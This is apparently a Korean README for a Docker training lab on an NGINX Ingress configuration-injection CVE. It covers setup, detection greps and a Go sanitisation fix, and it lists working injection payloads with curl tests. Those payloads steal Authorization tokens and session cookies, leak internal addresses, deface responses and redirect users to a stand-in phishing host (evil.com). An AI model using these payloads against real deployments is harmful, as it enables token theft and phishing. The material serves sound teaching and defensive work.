
# CVE-2026-3288 NGINX Ingress 구성 주입을 위한 Docker 기반 취약 실습 환경 — 공격 스크립트, 탐지 모니터링, 그리고 공인된 보안 교육을 위한 복구 지침을 포함합니다.
⚠️ 경고: 이 실습 환경은 공인된 보안 교육 목적으로만 의도적으로 취약하게 구성되어 있습니다.
CVE-2026-3288 (CVSS 8.8 높음) - NGINX Ingress Controller의 구성 주입
") 주입buildProxyPass() 함수는 경로 입력을 nginx 구성에 삽입하기 전에 검증하지 않아, 공격자가 따옴표로 묶인 문자열을 벗어나 임의의 nginx 지시문을 주입할 수 있습니다.
CVE-2026-3288-lab/
├── README.md # 이 파일
├── docker-compose.yml # 메인 실습 환경 설정
├── docker/
│ ├── nginx/
│ │ ├── Dockerfile # 취약한 NGINX 설정
│ │ ├── nginx.conf # 기본 구성
│ │ └── vulnerable-config.conf # 취약한 경로 처리
│ └── backend/
│ ├── Dockerfile # 간단한 백엔드 앱
│ └── app.py # Flask 애플리케이션
├── exploits/
│ ├── exploit.py # 자동화된 익스플로잇 스크립트
│ ├── payloads.txt # 익스플로잇 페이로드 모음
│ └── test-exploits.sh # 모든 익스플로잇 테스트
├── detection/
│ └── monitor-logs.sh # 공격 시도 모니터링
└── cleanup/
└── cleanup.sh # 모든 실습 리소스 제거
cd CVE-2026-3288-lab
# 취약한 환경 시작
docker-compose up -d
# 상태 확인
docker-compose ps
# 백엔드 실행 확인
curl http://localhost:8080/
# NGINX 실행 확인
curl http://localhost/
cd exploits
# 자동화된 익스플로잇
python3 exploit.py --all
# 또는 개별 익스플로잇 테스트
bash test-exploits.sh
# 공격 시도에 대한 NGINX 로그 확인
docker-compose logs -f nginx
# 탐지 모니터링
cd detection
bash monitor-logs.sh
docker-compose down -v
nginx return 지시문을 주입하여 공격자가 제어하는 콘텐츠를 제공합니다.
페이로드:
/api" return 200 "HACKED BY ATTACKER
테스트:
curl 'http://localhost/api" return 200 "HACKED'
Bearer 토큰을 탈취하기 위해 Authorization 헤더를 응답에 반영합니다.
페이로드:
/login" return 200 "Token: $http_authorization
테스트:
curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'
사용자를 공격자가 제어하는 피싱 사이트로 리다이렉트합니다.
페이로드:
/" return 302 "https://evil.com/phishing
테스트:
curl -I 'http://localhost/" return 302 "https://evil.com/phishing'
내부 서버 정보를 유출합니다.
페이로드:
/" return 200 "Internal IP: $server_addr
테스트:
curl 'http://localhost/" return 200 "Internal IP: $server_addr'
세션 쿠키를 탈취합니다.
페이로드:
/" return 200 "Cookies: $http_cookie
테스트:
curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'
# 취약한 구성
location ~ "^/api" {
rewrite "(?i)/api" /backend break;
proxy_pass http://backend;
}
경로에 "가 포함되면 따옴표로 묶인 문자열이 깨집니다:
# 공격자 입력: /api" return 200 "HACKED
# 결과:
location ~ "^/api" return 200 "HACKED" {
# 원래 구성이 깨짐
}
# 의심스러운 패턴 확인
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'
# 주입된 지시문에 대한 NGINX 구성 확인
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"
" 및 \를 적절히 이스케이프// 수정 전 (취약)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
// 수정 후 (해결)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
이 실습을 완료한 후 다음을 이해하게 됩니다:
# 로그 확인
docker-compose logs
# 재시작
docker-compose restart
# docker-compose.yml에서 포트 변경
# 또는 충돌하는 서비스 중지
sudo lsof -i :80
# NGINX 실행 확인
docker-compose ps nginx
# NGINX 구성 확인
docker exec cve-2026-3288-nginx nginx -t
공인된 보안 교육 및 연구 목적으로만 제작되었습니다.